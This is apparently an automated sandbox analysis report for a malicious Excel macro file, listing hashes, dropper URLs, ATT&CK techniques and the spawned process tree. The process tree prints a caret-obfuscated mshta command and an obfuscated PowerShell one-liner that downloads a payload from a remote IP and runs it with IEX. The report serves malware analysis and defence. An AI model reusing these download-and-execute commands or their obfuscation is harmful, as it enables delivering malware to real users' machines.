45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086

General

Target

43959768-251327.xlsm
Size

115KB
MD5

d06323156f9db5ba51e46d368bb05b67
SHA1

d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8
SHA256

45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086
SHA512

8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3220	2416	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	3968	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4012	3968	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2416	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE
2416	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 1084	2416	EXCEL.EXE	58
PID 2416 wrote to memory of 1084	2416	EXCEL.EXE	58
PID 2416 wrote to memory of 3220	2416	EXCEL.EXE	60
PID 2416 wrote to memory of 3220	2416	EXCEL.EXE	60
PID 3220 wrote to memory of 3968	3220	cmd.exe	62
PID 3220 wrote to memory of 3968	3220	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\43959768-251327.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    PID:3968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2428
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3968 -s 1724
      4⤵
      Program crash
      PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1932

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 3968 -ip 3968
1⤵
PID:3928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2416-130-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Filesize
64KB

Download
memory/2416-131-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Filesize
64KB

Download
memory/2416-132-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Filesize
64KB

Download
memory/2416-133-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Filesize
64KB

Download
memory/2416-134-0x00007FFBB37B0000-0x00007FFBB37C0000-memory.dmp

Filesize
64KB

Download
memory/2416-137-0x00007FFBB1220000-0x00007FFBB1230000-memory.dmp

Filesize
64KB

Download
memory/2416-138-0x00007FFBB1220000-0x00007FFBB1230000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads